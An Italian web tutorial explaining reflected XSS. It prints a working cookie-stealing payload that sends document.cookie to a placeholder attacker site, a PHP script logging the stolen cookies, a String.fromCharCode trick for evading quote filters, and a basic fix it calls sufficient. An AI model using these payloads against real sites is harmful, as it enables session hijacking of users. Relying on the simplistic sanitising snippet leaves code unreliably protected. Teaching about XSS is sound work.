XSS (Cross Site Scripting)
La vulnerabilita’
Una vulnerabilita’ XSS (Cross Site Scripting) consiste nell’inclusione di codice html all’interno di una pagina web per effettuare operazioni malevole quali prelievo di cookies privati. E’ stato assegnato l’acronimo XSS al posto di CSS semplicemente per evitare di confondersi tra Cross Site Scripting e Cascading Style Sheets, ovvero l’acronimo che indica i fogli di stile.
L’errore di programmazione
Un errore comune che i programmatori compiono e’ quello di mostrare sulla pagina web delle variabili con contenuto prelevato direttamente da un input dell’utente. Ad esempio, Il programmatore potrebbe creare un motore di ricerca che, all’invio dei dati di ricerca, rimanda alla pagina search.php. In questo caso, l’utente ha inserito nel campo di ricerca la parola cantante, quindi viene reindirizzato alla pagina search.php?query=cantante. Fatto questo, lo script mostra un messaggio del tipo:
Risultati per ‘cantante’:
Come e’ ben visibile la variabile GET (contenuta nell’indirizzo), viene stampata direttamente sulla pagina web.
Come viene sfruttata
Se dovesse essere inserito nell’indirizzo della pagina search.php?query=<b>cantante</b>, verrebbe mostrato:
Risultati per ‘cantante’:
Dal testo in grassetto potete notare l’inclusione di codice html nella pagina.
Ovviamente il tag <b> e’ totalmente innocuo in quanto utile alla formattazione del testo. Ma al suo posto potrebbe benissimo essere inserito il seguente codice javascript:
<script>alert(“Trovata una vulnerabilità XSS nel sito!”);</script>
Andando a modificare l’indirizzo della pagina di ricerca in search.php?query=<script>alert(“Trovata una vulnerabilita’ XSS nel sito!”);</script>
Questo codice andrebbe a mostrare un popup con il messaggio “Trovata una vulnerabilita’ XSS nel sito!”
Il vero codice malevolo
L’esempio precendente fa semplicemente mostrare un popup nel sito web, ovviamente puo’ bastare per essere mostrato all’amministratore del sito in modo da invitarlo a correggere lo script, ma adesso andremo a mostrare il codice malevolo utilizzato per prelevare cookies di altri utenti del sito:
<script>document.location = “http://www.google.it”;</script>
Con questo codice si puo’ letteralmente dirottare il sito affetto dalla vulnerabilita’ sul sito di Google. Ovviamente anche questo e’ inutile, ma pian piano ci stiamo avvicinando al risultato.
<script>document.location = “http://www.tuosito.com/cookies.php?a=”+document.cookie;</script>
Con questo si dirotta il sito verso http://www.tuosito.com/cookies.php e si passano tramite la variabile “a” tutti i cookies che ha l’utente che e’ andato su quella pagina. In sostanza passando il link search.php?query=<script>document.location = “http://www.tuosito.com/cookies.php?a=”+document.cookie;</script> ad un qualsiasi utente di quel sito si mandano i suoi cookies su una nostra pagina, ma questi cookies che la nostra pagina riceve devono essere salvati da qualche parte per essere poi letti.
Ecco un esempio di codice che deve avere la pagina cookies.php
<?php
$handle = fopen(‘cookies.txt’, ‘a’);
fwrite($handle, $_GET[‘a’].”\n”);
?>
Inserendo questo codice una volta mandato l’utente sulla pagina con la vulerabilita’ esso verra’ dirottato sulla vostra pagina http://www.tuosito.com/cookies.php che si occupera’ di salvare i cookie dell’utente sul file http://www.tuosito.com/cookies.txt, che conterra’ i cookies di tutti coloro che sono stati dirottati.
XSS protection hack
Alcuni siti potrebbero avere un sistema di sicurezza che io chiamo comunemente “XSS protection“.
In sostanza il sistema di protezione consiste nel sostituire i caratteri ” e ‘ in \” e \”, in questo modo andando ad inserire il codice javascript si notera’ che esso e’ inutilizzabile. Questo sistema e’ stato creato precisamente per evitare i tentativi di attacco XSS, Ma non e’ cosi’. Con un po’ di esperienza in javascript, si puo’ conoscere il comando String.fromCharCode() che permette di inserire delle stringhe evitando l’uso dei caratteri “bloccati”. Basta guardare un qualunque sito di tabelle ascii (come questo) ed appuntarsi i valori decimali (Dec) dei caratteri interesati.
Ad esempio, con questo codice
<script>alert(String.fromCharCode(104,116,116,112,58,47,47));</script>
Si puo’ mostrare un popup con scritto “http://“, ovviamente si puo’ benissimo modificare per creare un codice per “dirottare” senza utilizzare i caratteri bloccati
Perche’ e’ pericolosa
La pericolosita’ della XSS e’ direttamente proporzionale alla privatezza dei cookies.
Molti script salvano all’interno dei cookies dati importanti quali hash di password, quindi si puo’ benissimo arrivare a trovare la password di qualche utente. Anche i forum salvano quasti dati, quindi la vulnerabilita’ si fa pericolosa specialmente con un forum installato.
Pur non conoscendo il valore dell’hash, si possono benissimo copiare i cookies “rubati” all’interno del browser, e quindi entrare tranquillamente con l’username.
Per questo invitiamo chiunque trovasse una vulnerabilita’ XSS a segnalarla immediatamente all’amministratore, e non assumiamo alcuna responsabilita’ riguardo l’utilizzo inproprio dei codici presenti all’interno di questo articolo, che son riportati semplicemente allo scopo di dimostrare la pericolosita’ della vulnerabilita’
Combattere la vulnerabilita’
Dato che il problema e’ nell’input dell’utente non controllato, basta inserire dei controlli sulla variabile GET. andrebbe benissimo il seguente codice
<?php
$input = str_replace(“‘”, “”, $_GET[‘query’]); #cancella il carattere ‘ dalla variabile
$input = str_replace(‘”‘, “”, $input); #cancella il carattere ” dalla variabile
$input = htmlentities($input); #sostituisce i caratteri < e >
?>
Che sfrutta la sostituzione dei caratteri che potrebbero rendere l’XSS malevola. Esistono molti modi per fronteggiare l’XSS, ma consiglio questo.
Commenti